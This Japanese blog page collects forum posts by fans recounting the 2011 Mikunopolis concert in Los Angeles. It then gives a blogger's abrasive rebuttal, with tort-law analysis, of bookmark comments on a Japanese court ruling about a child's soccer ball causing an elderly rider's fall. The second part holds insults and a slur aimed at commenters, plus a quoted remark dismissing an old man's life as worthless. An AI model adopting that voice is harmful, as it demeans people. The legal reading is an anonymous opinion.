「286」を含む日記

■ミクノポリス参加者の感想メモ2

（前回分）

ミクノポリス参加者の感想メモ 1

http://anond.hatelabo.jp/20110705094529

【ミクノポリス】初音ミクLIVE総合 part30【ミクパ】

http://hibari.2ch.net/test/read.cgi/streaming/1309836019/

■ID:SUU0mdjm0氏

7 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2011/07/05(火) 14:37:56.37 ID:SUU0mdjm0 [1/14] (PC)

どうも。LAひとりキャノンボール組だけど、何か質問ある？

　

11 名前：7[sage] 投稿日：2011/07/05(火) 14:42:21.10 ID:SUU0mdjm0 [2/14] (PC)

＞＞9（席はどこらへんだった？）

3階席前列の隅っこ。ミクさん豆粒大ｗ

　

14 名前：7[sage] 投稿日：2011/07/05(火) 14:47:24.34 ID:SUU0mdjm0 [3/14] (PC)

＞＞10（スクリーンは良く見えた？）

ディラッドボードは、ボード自体がよく見えた

映像は角度によって消えるし、ステージ上のライトが強烈な逆光ｗ

ステージ左右の巨大スクリーンで、十分フォローできてましたけどね

　

17 名前：7[sage] 投稿日：2011/07/05(火) 14:50:29.98 ID:SUU0mdjm0 [4/14] (PC)

＞＞12（3階席で、音はどうでした？周りはスタンディングしてた？）

音は完璧！実は感謝祭もミクパも行ったし、他のアーティストの

ライブも幾つか行ったことがあるけど、あんなの日本じゃ絶対無理ｗ

　

22 名前：7[sage] 投稿日：2011/07/05(火) 14:55:18.30 ID:SUU0mdjm0 [5/14] (PC)

＞＞12

あと、3階席は座ってる奴が多かった。席の段差が急で

立つ必要がなかったのと、立ったら下へ落っこちそうな

気がするほど、高さがあったからだと思う

ビルの8階くらいはあったんじゃないかな？

　

27 名前：7[sage] 投稿日：2011/07/05(火) 14:59:33.24 ID:SUU0mdjm0 [6/14] (PC)

＞＞13（じゃあオーロラビジョンが役に立ったんだね。カメラワークに不満等はなかった？）

カメラワークも絶品。あのまま売ってほしいくらいｗ

んで、クレーンカメラが客席を映す様子も

見られて、

それはそれで面白かったｗ

　

31 名前：7[sage] 投稿日：2011/07/05(火) 15:06:24.00 ID:SUU0mdjm0 [7/14] (PC)

＞＞23（みくずきん出てきた時周りの反応どうだった？）

周りの反応は、記憶が飛んでてよく覚えてないｗ

ただ、曲が始まったたびに絶叫が轟いてたのは覚えてるｗ

　

34 名前：7[sage] 投稿日：2011/07/05(火) 15:11:47.74 ID:SUU0mdjm0 [8/14] (PC)

＞＞25（これって3階ですか？＞つべのCAM動画。削除済みのためリンク省略）

角度的には2階だと思う

でもやっぱ、録画と録音じゃ、あの迫力は再現できないわ

バスドラのキックの音で、全身がミシミシ言うんだよｗ

　

42 名前：7[sage] 投稿日：2011/07/05(火) 15:17:02.53 ID:SUU0mdjm0 [9/14] (PC)

＞＞26（メリケン娘お持ち帰りできた？）

英語がカタコトなんで、向こうが何言ってるか分からんから無理ｗ

でもこっちが日本人だと分かったら、何人か話しかけてきた

野郎ばっかだったけどなｗ

夜に出歩けば違ったんだろうが、会場からちょっと外れたら

もうスラムだったんで、宿でおとなしくしてたよ

　

47 名前：7[sage] 投稿日：2011/07/05(火) 15:25:13.24 ID:SUU0mdjm0 [10/14] (PC)

＞＞37（オーロラスクリーンの威力はどう？）

オーロラスクリーンは入れて正解だった

あれがないと3階はきつかったかも

演出も決まってたと思うよ

＞＞38（音圧が体を震わせる感じですか？）

音圧というより衝撃波だな

身体中の水分が揺さぶられるの

でも耳は全然痛くないし、ライブ後は普通に会話できてた

　

52 名前：7[sage] 投稿日：2011/07/05(火) 15:33:24.41 ID:SUU0mdjm0 [11/14] (PC)

＞＞41（3Fだとストリングス部隊の音はどうだった？）

ストリングスだけは、いま思うとちょっと厳しかったかも

でも最後のアレは大反則だｗ

＞＞43（野郎ばっか？　女性客少なかった？）

男女半々、みんな若かった

一般客は小学生の親子連れから大学生くらいまでかな

＞＞46（スラムなど土地の治安について）

よそ者が踏み込んだら無事では帰ってこれない

通りを境にビルがいきなりボロくなるんで分かる

　

55 名前：7[sage] 投稿日：2011/07/05(火) 15:36:42.93 ID:SUU0mdjm0 [12/14] (PC)

＞＞49（タイムシフト動画見たならどの辺が実際と異なるかよかったら教えてよ。）

おｋ、これから出かけなきゃいけんので後でみてみる

あ、あとな、現地のタクシーの運ちゃんに地震では世話になったって

お礼言ったら、握手されたよw

　

58 名前：7[sage] 投稿日：2011/07/05(火) 15:39:43.75 ID:SUU0mdjm0 [13/14] (PC)

＞＞53（ニコ生で観客が盛り上がってないのかと思っちゃったんだけど実際どうなの？）

とりあえずこれで落ちる

現地の盛り上がりは、ものすごかった！

Anime Expo込みですげえ楽しめたぞ！

　

144 名前：7[sage] 投稿日：2011/07/05(火) 17:29:11.45 ID:SUU0mdjm0 [14/14] (PC)

＞＞129（前列VIP席が最後には盛り上がってたって本当？　オッサン連中があれ見て楽しめるとは思えん）

出先からちょっとだけ。最前列ブロック真ん中は、間違いなく

ほとんど立ち上がってたよ

最前列ブロック両サイドは、半分～2/3くらいかな

　

　

278 名前：7[sage] 投稿日：2011/07/05(火) 20:12:56.10 ID:B0B5C98Z0 [1/3] (PC)

部屋に戻ってきた

すまんがニコ生は見るのをやめた、あの体験を上書きしたくない

素直にBlu-rayを待つことにした

　

285 名前：7[sage] 投稿日：2011/07/05(火) 20:28:28.32 ID:B0B5C98Z0 [2/3] (PC)

＞＞281（現地とニコ生で音がどれだけ違うのか興味深かったんだが）

音の概念が違う

ニコ生にしろ他のメディアにしろ、結局は耳だけで聞いてる

NOKIAシアターでは身体全体が音楽に合わせて振動した

ライブの意味を改めて思い知らされたよ

　

298 名前：7[sage] 投稿日：2011/07/05(火) 20:43:29.40 ID:B0B5C98Z0 [3/3] (PC)

＞＞286

クラシックなら原音そのままだから、話せばまだ分かってもらえるかも

今回のは、全部の音をそのまま増幅してたんだ

ノイズも歪みも一切ないんだよ、例えば直径数メートルの

バスドラ×2をドカドカ連打された感じかな？

んで20Hz以下の帯域も拾ってたね、ありゃあ、、、

　

　

■ID:N5KR9J2C0氏

336 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2011/07/05(火) 21:17:20.79 ID:N5KR9J2C0 [6/9] (PC)

＞＞303（ツアー組って出発時トラぶってたけど結局なんか補償してくれたん？）

今の所無いね

もっとも責任はデルタにあるんだから

デルタからなんか送られてくるのかも知れんが。

＞＞302（ＬＡまでの公式ツアー珍道中聞かせてくらさい）

こっちはデトロイト～ソルトレイク乗換組だから大して面白い事は無いよ

・ツィッター上やこのスレでデルタ欠航情報が伝わる

↓

・代理店に問い合わせたら集合場所で待っていて下さいとの事。三々五々ツアー客が集まってくる中、代理店の人が来るが、

現在代替便を手配中の説明。暫くお待ちくださいとの事なのでDIVAしたり、2chしたりして暇つぶす人多数。

↓

・夜中の0時過ぎに漸く代替便が決まる。LA直行組、サンフランシスコ乗換組、ポートランド乗換組が翌日出発

デトロイト乗換組、デトロイト+ソルトレイク乗換組が翌々日出発の旨言い渡される。

んでこの時点で終電が終わっているので品プリに強制連行。

↓

日本時間7/2の早朝、品プリより羽田へ護送されチェックインするが、本来3枚出てくるチケットが2枚しか出てこない

2枚目には「seat　request」の文字が。

つまりデトロイトからソルトレイクまでの便の座席がどこか確定していないので、デトロイト空港の案内窓口で再度発券してもらってくれと

無茶振りをデルタに要求される。

↓

・乗った飛行機は日本路線なのにろくに日本語離せないCAばっかりだったが、席が39列だったので少しだけデルタを許す。

↓

・デトロイトには無事到着、現地の日本語判る白人の可愛いメガネっ子にツアーガイドが問い合わせるが、

ソルトレイク便の出発ゲートで発券して貰ってねとのお言葉。

↓

・ここでデトロイト～LA直行組とはバイバイ

ソルトレイク組はなかなか集まらなくてガイドさん冷や冷や。最後の一人が現れたのは

我々が搭乗しようかってギリギリの時間。チケットの再発行はまあスムーズ。

↓

デトロイト出発がいきなり30分位遅れる（理由は不明）

この時点でソルトレイク乗換の余裕が30分前後しかなくなる

↓

ソルトレイク到着、また一人行方不明。　先行っているだろ、集まれと言われた場所にいなかったら知らん

と言う総意でLA便乗換口に言ったら行方不明者が居た。

↓

LA到着、ひとりの荷物がなかなか出てこなくてロストバゲージかと思われたが、別窓口から何故か出てきた。

と言う感じ。

帰りは帰りでまたseatrequestだったし、本来隣同士になるべき人（ダンスロイドの二人とか）も

バラバラに座席が割り振られていたので、搭乗してから交換しましょうという事に。

結論：プライベートじゃデルタは絶対使わない。

長文スマソ

　

362 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2011/07/05(火) 21:41:19.48 ID:N5KR9J2C0 [7/9] (PC)

＞＞345（羽田の2人の女子って話あったけどダンスロイドさんだったの？）

どうもそうだったみたい。

正直言ってダニーとダンスロイドの二人は見直した。

よくあれだけ場を盛り上げたと思うよ。

なんかAX会場内ミクポリブースでダンスロイドのサイン会やっていたけど

結構人が並んでいた。

　

419 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2011/07/05(火) 22:33:48.09 ID:N5KR9J2C0 [8/9] (PC)

＞＞395（ノキア入場のボディチェックで入場遅れたみたいな話も聞かせてくださいな）

金属探知機で検査はしたけど、爆発物や銃器の検査でカメラチェックじゃなかったよ。

入場口少なくて日本に比べて列作らないから入るまで確かにカオスだったけど、

本番開始直前にトイレに行った時はほとんどノキア内には入っていたような感じ。

むしろ物販に行列が出来ていたからそいつらが遅れて入ってきたんじゃ？

サイリウムはノキア内物販ブースでしか売っていなかったからね。

　

■ID:pGsHWyuP0氏

459 名前：sage[] 投稿日：2011/07/05(火) 23:13:52.33 ID:pGsHWyuP0 [1/2] (PC)

ツアー組だがライブは最高だった

会場で配ってたポスターが可愛すぎて生きているのが辛い

　

481 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2011/07/05(火) 23:34:44.79 ID:I1njdupf0 (PC)

現地で配っていた（？）TOYOTAのポスターが最高すぎてうらやましい

http://twitpic.com/5lkvai

　

■ID:k8fdj1mz0氏

531 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2011/07/06(水) 00:17:24.30 ID:k8fdj1mz0 [1/3] (PC)

＞＞477

個人ツアーＬＡに行った者です。

公式組みは、Original Pantry Cafeで打ち上げでしたか、私は開演前の夕方に

同所で食事を取りました。ボリューム満点でお腹いっぱいになりました。

＞＞515（ルカ登場時ニコでは盛り上がってないように見えたが実際どう？）

ルカさんの登場時も、すごく盛り上がってましたよ。

　

587 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2011/07/06(水) 01:02:21.33 ID:k8fdj1mz0 [2/3] (PC)

＞＞567（fromYtoYで客席から『未来(((みらーい)))』『願い(((ねがーい)))』って合いの手がちゃんとできてたみたい）

私は１階の左後ろの席に居たけど、「みらい」「願い」は、けっこうみんな

合わせて歌ってて、ちょっと感動した。

また、炉心の時のHEY!HEY!HEY!の掛け声もすごくて、みなさん、感謝祭ＢＤ

見てるんだなぁと思った。

　

570 名前：現地組 ◆ZlFmy0tLzs [sage] 投稿日：2011/07/06(水) 00:49:23.23 ID:WKricoiF0 (PC)

現地組から言わしてもらえば合いの手はよく聞こえなかった

会場が広すぎるせいなのか

感謝祭のおまいらがすごすぎるのか

　

593 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2011/07/06(水) 01:06:10.11 ID:k8fdj1mz0 [3/3] (PC)

＞＞590（リンレン登場のときはニコ生でもすごい歓声というか絶叫が聞こえてきたんだが会場はどうだった？）

たぶん、一番盛り上がった瞬間だったと思うよ。

すごい盛り上がりで、自分も興奮したもん。

　

780 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2011/07/06(水) 12:12:40.55 ID:RNjze4iC0 (PC)

北米アキバ系情報サイト Bunka extendのレポがあがったよ。

http://www.bunkaextend.com/ax2011_07.html

　

■ID:X1spn02l0氏＞ミクシにて感想執筆

949 名前：y1[sage] 投稿日：2011/07/06(水) 16:26:26.98 ID:X1spn02l0 [3/7] (PC)

＞＞946

了解しました。一応日記は全体公開なので、適当に見てください。

あと、コンサート内容だけじゃなくて今回のツアーに関しての全てを日記にしていくので、かなり長くなります。

仕事しながらポチポチ書いているので、気長に待ってください。

http://mixi.jp/view_diary.pl?id=1746675238&owner_id=23294829

とりあえず今日はコンサートの開始まで。

（以下編集者抜粋）

・ミクポリ公式ツアーの様子（デルタ航空のトラブルから現地まで～かなり詳細なＡＸ見物記）

・ミクポリレポート

・外人がオタ芸やってた

・ぽっぴっぽーで激盛り上がり

・リンレン大歓声、ルカ登場JBFでVIP席の人までが立ち上がる

・本当に一部、ごく僅かの人間はそれでも座っていたが、冷静に評価をしているという感じ

・コンサート終了後、物販コーナーが混雑。初音ミクがどんなものなのか解らずに参加していた層が結構いたようで、パンフとうちわにみんな群がる。

　（ミクシにて更新中）

　

■ID:n8pl5NA20氏＞自ブログにて記事執筆　※ツアー組で開演前に迷子になって話題になってた御仁らしい

999 名前：名無しさん＠お腹いっぱい。[sage] 投稿日：2011/07/06(水) 16:56:22.01 ID:n8pl5NA20 (PC)

俺もレポ書いといたよ

コンサート中のことはあまり無いが

http://mcaf.ee/74tgj

（以下編集者抜粋）

・会場内の様子など

・オーロラビジョンのカメラワークが良い

・間近に見た本物のミクさん

・ツアー組はセレブ席の真後ろだったらしく、セレブ席の様子など

Permalink | トラックバック(1) | 21:26

■〜頭の悪いブコメ

hk2mr_hu 社会 サッカーボールを避け転倒→足を骨折→認知症になる→食べ物を気管につまらせ死亡。これでどうして死亡責任まで問われるかが理解できない。しかも問われるとしたら少年の責任ではなく、学校の管理責任だろう。 2011/06/28

だから学校の管理過失よりもより直接的な原因があるだろうがよ。

frsatti 司法, 事故, 裁判, 不法行為 国賠訴訟かと思いきや、どうしてこうなった。 2011/06/286 clicks

国賠に行くほうが例外。管理過失なんてのは、直接の加害者にゼニが無いときの代替手段だ。

shoji-no 事故, 裁判 高校野球のバッターに「打ち方によってはファールボールがスタンドの観客に当たることが予想できる」と言ってるようなもの。 2011/06/288 clicks

その場合は観客にファールボールが来ることについて同意がある。楽天砂かぶり席での事故について裁判があった。

mkusunok 風が吹けば桶屋が儲かる的な判決。ちょっと信じ難いのだが。学校の管理責任を問わない理由も気になるところ 2011/06/28166 clicks

答えは簡単。原告が学校を被告にしなかったから。被告でもないのに責任問われたらおかしいだろ。

tdam 桂充弘弁護士の"やや酷な印象"との指摘以上に、老人にはありうる"認知症の症状""誤嚥（ごえん）性肺炎"までサッカー少年の責任にするのはいくらなんでも因果関係の過大評価だ。控訴審で覆ると信じたい。 2011/06/28

「老人にはありうる」などという一般論で、個別具体的な事件を判断してるなよ。被害者は認知症じゃなかったんだから、「この」老人には「ありえ」なかった事故。

kubomi 俺みたいにあらぬ方向へボールを蹴る可能性のある奴はもっと人殺しの顔をしろってことですか 2011/06/28

人を殺さないように気をつけろ。

bioweb 普通に学校の管理責任じゃないの？なんでちがうの？ 2011/06/289 clicks

管理責任のほうが例外的。それと学校は被告になってない。

mrkn law, これはひどい "日本の"ではなくて"大阪の"司法が腐ってるんだろう。こういうのは最高裁で覆る気がしているんだが、そうならなければ結局日本の司法が腐ってるという事になるね。 2011/06/2850 clicks

なんでいきなり最高裁なのかと思ったら、そうか、「大阪」だから高裁も腐ってるって言ってるのか。だがそうだとしたら、法律審たる最高裁で覆えすのは比較的難しい。

Nou せめて施設の問題やろ。。しかもジジイて。。 2011/06/286 clicks

いや、蹴った奴が第一義的な問題だ。

muipla 社会, これはひどい じいさんに向けて蹴ったわけじゃないのに、どうして学校の管理責任（ゴールの位置が適正だったとか）問われないんだよ。それに転倒して死亡したのではなく誤嚥性肺炎て…朝日タイトル直せ。 2011/06/286 clicks

道路にボール出すな。学校の管理責任は原告が問わなかったから。

Tora1014 無罪というわけにはいかないが１５００万円なんて払えるのだろうか 2011/06/28

なんだよ「無罪」って。いつ「有罪」になったんだよ。民事と刑事の区別くらいつけろ。さもなきゃ黙れ。

oguogu 848事故, 560判決 判決内容に納得できないのは当然としても、どうして一審判決が出るまで6年も掛かっているのが気になる。事故は愛媛なのに裁判が大阪というところも。 2011/06/287 clicks

こいつ前にもいなかったか？管轄が気になるなら民訴法読め。管轄についてはかなり手前の位置にあるからすぐ見つかるだろ。

T_Tachibana これはひどい, 司法, 事故 たとえ子供がふざけて蹴り出したとしても校内活動中の事であれば問われるべきは学校側の管理責任では？ちなみに歳をとれば嚥下機能は低下するので認知症でなくても誤嚥性肺炎を起こす可能性は十分ある 2011/06/28

こいつ特に酷いな。もし子どもがふざけて蹴り出したんなら、断じて学校側の管理責任なんかじゃねーよ。なんでも学校のせいにしてんな。てめぇみたいなのが教育を滅ぼすんだよ。

touchmee 事故に合われた方には申し訳ないですが、このケースで子供の親に賠償責任があるというのは無理があるような気がしますけど。 2011/06/287 clicks

んじゃ子ども自身に賠償責任(709条)負わせてみるか？どっちが外道だよ。

kalmalogy これはひどい, 司法, 社会 "足を骨折。その後に認知症の症状が出るようになり"ここの因果関係の証明とか無理だろ 2011/06/286 clicks

「因果関係」が事実的因果関係であれば、そこの因果関係は認めるべき。ひっじょーによくあるケース。

p_shirokuma 娑婆世界 子どもは「管理せよ」という公式見解。こういう判例が出るようだと、ますます子どもは育てづらくなるなー。 2011/06/2827 clicks

いや、子供は管理しろよ。つか管理しろってのは100年以上も維持されてきた法的義務だ。

goshi_goshi これはひどい, 社会, 事故, 裁判, 司法, news, ニュース, 生活, education, sports これはどうなんだろう。フリーキックに違法性なんて限りなくないと思うんだが… 2011/06/2811 clicks

公道にボールが出る危険を知りながら、何ら対策もせずにボール蹴ってたんだったら違法性あるだろ。

Moodykajigaya 最初は少年が蹴ったボールで死亡したのかとおもった。素直に解釈すれば、「若者は余計な事を何もするな」。こんな酷い判決が出てしまう時点で「日本は老害天国」と思う/ こういう訴訟こそ裁判員制度使うべき 2011/06/281 click

ばーか。民事に裁判員制度ってキチガイもいいとこ。

idiot-i 小5児童は校庭の中でサッカーをしていたのにこの判決？ 2011/06/28

ボールも校庭の中に留まってたら良かったのにな。

tyatya_moon 最悪の想定ですべて動くと何も行動できなくなるんだが・・・本当に地裁とかとんでもない判決下すのが多いけどいらないんじゃないのか？こういう裁判こそ裁判員制度を導入すればいいのに・・・ 2011/06/28

最悪の想定でもいろいろ出来るだろ。お前の最悪の想定は「天が崩れ落ちてきたらどうしよう」ってやつだ。

koega これはひどい プロでも外すフリーキック。小五が一発外しただけで1,500万円の損害賠償。どうやったらこんな判決が出てくるのか。ぜひ最高裁まで戦ってほしい。 2011/06/28129 clicks

プロでも外すから、遊ぶ場所と角度は選べっつー事だよ。

hiroyukiest 裁判 これは酷だな。介護で生活が一変したってのはわかるけど、事故当時80歳前後のじいさんの余生に小5の少年(とその家族)の人生を変えるだけの価値があるのか疑問。まぁただの感情論だけど。 2011/06/284 clicks

あぁ。ただの感情論だ。「生活が一変」の中には介護費用もある。]

tawafu 小学生に大人なみの注意力を要求するとは！高齢者優遇社会（悪い意味で）。これでは、老人を敬う社会にはならないだろう。年長者（裁判官含む）への敬う心は廃れる。年長者だからこそ丸くおさめられないのか？ 2011/06/28

大人並みの注意力なんざ要求してない。５年生に必要な注意力を基準にすれば、公道にボール出さないよう気をつけるべき。

linden 社会, 事故, これはこわい これは酷な判決だな。この記事を読む限り、少年よりむしろ学校側の管理責任が問われるべきだろう。 2011/06/287 clicks

むしろとか関係ない。なぜなら裁判所は原告の訴えについてのみ判断するから。

ahahasasa 87で1500万円って逸失利益の算出方法おかしすぎる・・・ 2011/06/28

「逸失利益の算出方法おかしすぎる」と思うなら、なぜ損害額が逸失利益だと思うんだ？

imo758 これはひどい 校庭から飛び出さないようになんて特に子供に対しては大人が監督してもどだい無理。責任は社会全体で負うべき。記事からの印象通りなら判決が反社会的な馬鹿。 2011/06/28

「子供」の理解の決めが粗すぎる。「無理」だから放置するのか？何歳まで放置するつもりだ？

tihoujiti 訴訟 なんともいえない判決。学校の管理責任は問題ないのか、という観点もある気が 2011/06/28

その観点は訴訟では問題になってない。

kk6 「蹴り方によっては道路に出ることを予測できた」これが通るなら球技が行われるであろう校庭をもつ学校という施設を設置した自治体に責任を問えちゃうよね 2011/06/289 clicks

自治体に責任を問えるからと言って直接の加害者の責任を問えなくなるわけではない。

yamasita3 社会 有罪はしょうがない気もするが、１５００万か・・・。高齢者が増えてきたら、同じような事件が増えかねないし、なんらかの対策が必要だなあ・・・。 2011/06/286 clicks

有罪じゃねーよ。民事だっつーの。勝手に犯罪者にすんな糞が。

filinion これはひどい, 司法, 学校 これは、学校（＝市が）両親を全面的に支援して控訴すべき。こんなのが確定したら学校も大変なことになる。 2011/06/28

これは正しい。なぜ「学校も大変なことになる」かというと、両親から求償されるから。民訴法上は補助参加を行うことになろう。

yoshi1ym 避けようとしたということは、前方にボールが飛んできたわけ。仮に飛び出してきたのが子供なら避けるのは当たり前、よけれるスピードで当たり前。牽いたら前方不注意じゃないですか？しかも脳の持病って運転に耐える 2011/06/281 click

轢かないで転倒したんだろ。子どもの飛び出しを避けようとして転倒し、子供には全く触れず、それで運転手に損害が発生したら、子供側に賠償責任あるだろ。

REV 後期高齢者の安全を担保した校舎設計・学校運営が必要という判決だが、その金の出処が気になる。 2011/06/289 clicks

そんなことどこにも書いてない。せいぜい「子供にはボールを公道に出さないようにしつけろ」。

z0rac それを云うなら、自力で立ってられない二輪車に乗ってることが事故を招いたとも云えないか？ 2011/06/28

言えないだろ。だいたい二輪車は自走するし。

rz1h931f4c 裁判 そもそも87歳が運転するバイクなんて「事故が起こる危険性を予想できた」だろ。立法、行政、司法は何をやっとるんだ 2011/06/28

どういう事故だよ具体的に言ってみろよ。今回の事故はその「予見」した事故か？

chintaro3 これで有罪なら、東電はどこまで賠償することになるんだろう。 2011/06/284 clicks

有罪じゃねーよ。

　

つーわけで、頭の悪いブクマが多すぎる。

参考までに一応、基本的な処理を書いておく。

　

まず過失の有無。

行為の良し悪しを判断する能力があれば、故意・過失は認められる。例えば小学生でも人殺しは悪いことだと分かるんだから、小学生による殺人には不法行為が成立する(3才児なら成立しないだろう)。で、この行為の良し悪しを判断する能力は、同じ年令でも、行為の種類によって変わってくる。例えば7才児にインサイダー取引の良し悪しを判断する能力はないから、この場合は不法行為責任は発生しない。

しかるに「サッカーをする場合、ボールを公道に出してはいけない」という点については、小学５年生ともなれば判断できる。つまり、小学５年生はボールを公道に出さないように気をつけて遊ばなければならない。

とすると、そのような注意を怠ったんだから過失は認められるだろう。

　

そしてその過失によって公道に出たボールを避けようとしてバイクの運転手が転倒した。少なくともこの段階についてまでは、因果関係を肯定できる。因果関係をどこまで肯定できるかについては後述する。

そうすると、少なくとも一定の範囲で少年に不法行為が成立する。

もっとも、５年生というと、ボールを公道に出したことによる(法的)責任についてまでは、判断能力が追いつかないかもしれない。というわけで、子供への優しさを持って、この少年には責任弁識能力(712条)が認められないとする。そうであれば、この少年自身は不法行為に基づく損害賠償責任を負わない。

もっともそのような場合「その責任無能力者を監督する法定の義務を負う者」が賠償責任を負う(714条1項)。すなわち両親だ。行為当時直接に子供を監督していたか否かは問題とならない。子供が勝手にどっかに行って不法行為を行ったときに、被害者が泣き寝入りになっては困るからな。

というわけで、晴れて両親に賠償を命じた判決の正当性が説明できた。

　

ところで少なくないブコメが言う「学校側の管理責任」とやらは何なのか。

普通は、損害賠償請求は直接の加害者に対して行う。しかし、加害者が一私人だと損害賠償に足るだけの金を持ってないかもしれない。そこで、絶対に取りっぱぐれない相手に請求しようと考える。

ここでふと考えてみたときに、もし学校に「管理責任」が認められれば、その管理責任違反と因果関係のある損害について賠償請求できる(国家賠償法1条,2条)。

そういうわけで、もし学校側と戦っても勝てそうであれば、より確実に金を回収できる学校を相手取って戦うわけだ。

さて、学校と直接の加害者(少年)のいずれにも損害賠償責任がある場合にはどうなるか。両者は共同不法行為を行ったと言うことができるから、両者の損害賠償責任は不真正連帯債務となる。つまり、学校と少年側、いずれに対しても、損害の全額を賠償請求できる（２賠の額を請求できるわけではない。一方から全額の支払いを受ければ、債権が消滅して他方には請求できなくなる）。

そして、学校側と少年側の間で、それぞれの責任の割合に応じて、被害者に支払った額について折半される。例えば責任の割合が（少年：学校側＝６：４）だとして、少年側が全額（１０割）を支払ったならば、学校側に、そのうちの４割について少年側に支払うように請求（求償）する。

というわけで、学校側の責任というのはあくまで加害者同士でやり取りする問題に過ぎない。

あと、裁判所は訴えのないことについて勝手に判断してはいけないから、原告が少年側だけを被告としているならば、学校の管理責任について判断してはならない。

　

で、本件の判決で問題となるのは、むしろその損害賠償の範囲だ。

実務に従えば不法行為と「相当因果関係」のある損害について、賠償責任が認められる。相当因果関係の有無は、簡単にいえば予見可能性で画定される。

公道にボールが出たら車両が事故るかもしれない。車両が事故れば骨折くらいはするだろう。だから、常識の範囲内で考えれば、少なくとも骨折については損害賠償が認められる。問題はその先だ。

骨折から認知症、認知症から誤嚥、誤嚥から窒息死という各段階は、少なくとも事実的因果関係としては、いずれも肯定しうる。骨折とボケが関係ないと言ってる奴は常識がないだけのこと。

しかし、だからといってそれが過失行為との相当因果関係を肯定しうるような予見可能性のあるものとは、必ずしも言い難いところがある。特に、骨折から認知症というプロセスは、被害者が高齢老人であるという被害者側の素因を加味して初めて予見可能であり、そうであれば予見可能性を否定するか、あるいは被害者側の訴因について損害の公平な分担の見地から過失相殺を類推するべきだと思う（私見）。もっとも、飛び出したボールによる事故が予見できるならば、その被害者が若者だと信じるほうがおかしいとして、高齢者の可能性も予見できる以上、認知症もまた予見可能だと、そういう見解が全く突拍子も無いとまでは言えない。

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■サッカーボール避け転倒死亡　蹴った少年の親に賠償命令 についた頭

技術系では自分が素人だという自覚があってだんまりの人も、なぜか法律系は自分が素人だという自覚が無くなるようで。

はてなブックマーク - asahi.com（朝日新聞社）：サッカーボール避け転倒死亡　蹴った少年の親に賠償命令 - 社会

tama_lion 「ボールが道路に出て事故が起こる危険性を予想できた」えええーだったらゴール置いた学校の責任じゃないの？つーか87歳なんて...いややめとこ 2011/06/2826 clicks

「予想できた」のはサッカーボールを蹴った人。なので責任は一義的にはサッカーボールを蹴った人にある。id:tama_lionは、自分の敷地内で遊んでる人間が他人に怪我を負わせたら、その責任が真っ先に自分に振りかかると思っているんだろうか？

napsucks 87って・・・もう寿命じゃんｗ　社会的生産性もないし命の残存価値など皆無だろｗ　それに1500万って・・・頭おかしいわ 2011/06/284 clicks 40

1500万円も逸失利益があるわけ無いと思いながら、1500万円が逸失利益だと思っているという。ばーか。

solt-nappa ため息, 社会 うかうかサッカーの練習もできないよのなかになるな。イヤダイヤダ。 2011/06/28 18

半分正解。だがうかうかにも程がある。例えば公道を挟んでキャッチボールしたら「うかうか」じゃ済まされない。程度問題であり、遊ぶ側としては公道にボールを出さないべきだろう。

akawi フリーキックでホームランしたら人殺し呼ばわりされた挙句1500万？　どう考えてもおかしいだろ 2011/06/2816 clicks

「どう考えても」の「どう」は空集合。「フリーキックでホームランした」というから悪くないように見えるが、「公道にサッカーボールを出したら交通事故が起きた」場合に何も悪く無いと思うのだろうか？

AKIT こういう判決が出るから「裁判官は常識がない」と言われるんだよな。 2011/06/28 78

判決読んでから言え。

nextworker 普通、こういうときは学校の管理責任を訴えると思うんだけど、遺族はどうして少年を被告にしたんだろう。少年の両親が金持ってたのかな。 2011/06/28 56

それは「普通」じゃない。少なくとも民法の原則から言えば、責任追及は一義的には過失行為を行った者に対して行う。それが少年であるがために714条で両親に追求したわけだ。過失行為の主体ではない学校の管理責任を問うのが寧ろ裏道であり、学校＝市町村からは取りっぱぐれないからという、まさに金のために殴る相手を広げる例。

しかも「少年を被告にし」てもいない。記事を見ろよ。「両親に」支払いを命じたって書いてあるだろうがよ。

こんな何一つ正しくないコメに☆が大量についているのはまさに集合恥。

kiria25 裁判 これはちょっとおかしくない？少年の過失は限りなく0に近いと思うんだが。 2011/06/28

お前は公園で遊ぶとき、公道にボールを出すなと教わらなかったのか？

過失はある。そして、「ある」ならば、1だろうが100だろうが、損害賠償責任を負う。被害者に過失がない以上、過失相殺はされない。

toronei news, 社会, soccer, sports これ少年側の責任なの？ むしろ学校側の安全責任が問われるべき例じゃないの？ これではもう子どもに球技なんて親は怖くてさせられないよなあ。 2011/06/28

少年側の責任だろ。少年側に過失がなかったらどうして学校側に責任があるんだよ。

学校側に責任があるとしても、それは少年との共同不法行為ということになるから、少年側の損害賠償責任はびた一文免れない。

Kou_RYU 社会, 裁判, ため息 東電の原発事故でも助け舟がでるのに、１９歳がボールを蹴ったら１５００万円支払えと言われる国ﾆｯﾎﾟﾝ。年寄りを狙って蹴ったわけじゃないんでしょ？ 2011/06/28

年寄りを狙ってないから過失が無いと？ってかボール蹴ったの19歳じゃねーよ。19歳だったら両親じゃなくてガキに直接請求だっつーの。

sasurai7 裁判, 事故 裁判を起こすのなら、サッカーやってた少年より、学校の施設管理責任（ゴール裏にボール飛び出し防止用のネットを張る必要があったか等）が問われるものでは？ 2011/06/28

前述の通り。つーか、加害者より加害者が利用してた施設っていうその発想が馬鹿。

kz78 自分ちの庭で壁打ちでもやってたのかと思ったら、校庭でゴールに向かってボール蹴ったのか。それで賠償責任が発生するのはきつくないか。 2011/06/2813 clicks

自分ちの庭と校庭で何が違うんだよ。

ssig33 これ事故と死因全然関係ねえだろ 2011/06/28

相当因果関係の認定は微妙ではある(後述)。が、全然関係なくはないだろ。

Cai0407 これはひどい なんでボール蹴った少年の責任が問われるの？学校の管理責任のほうが大きいと思うんだが。しかもボール避けて転倒→骨折→認知症発症→誤嚥性肺炎で死亡→1500万賠償とつなぐのは無理じゃね？ 2011/06/2838 clicks

「のほうが大きい」とか言ってる時点で馬鹿。共同不法行為だから学校と少年の両者が全額の損害賠償責任を負う。つまりどっちが大きいとか関係ない。

mobanama 社会 不幸な事例だが、これ施設管理の問題じゃないのか?なんか色々と狂ってる。 2011/06/28

施設管理「も」問題になりうるに過ぎない。

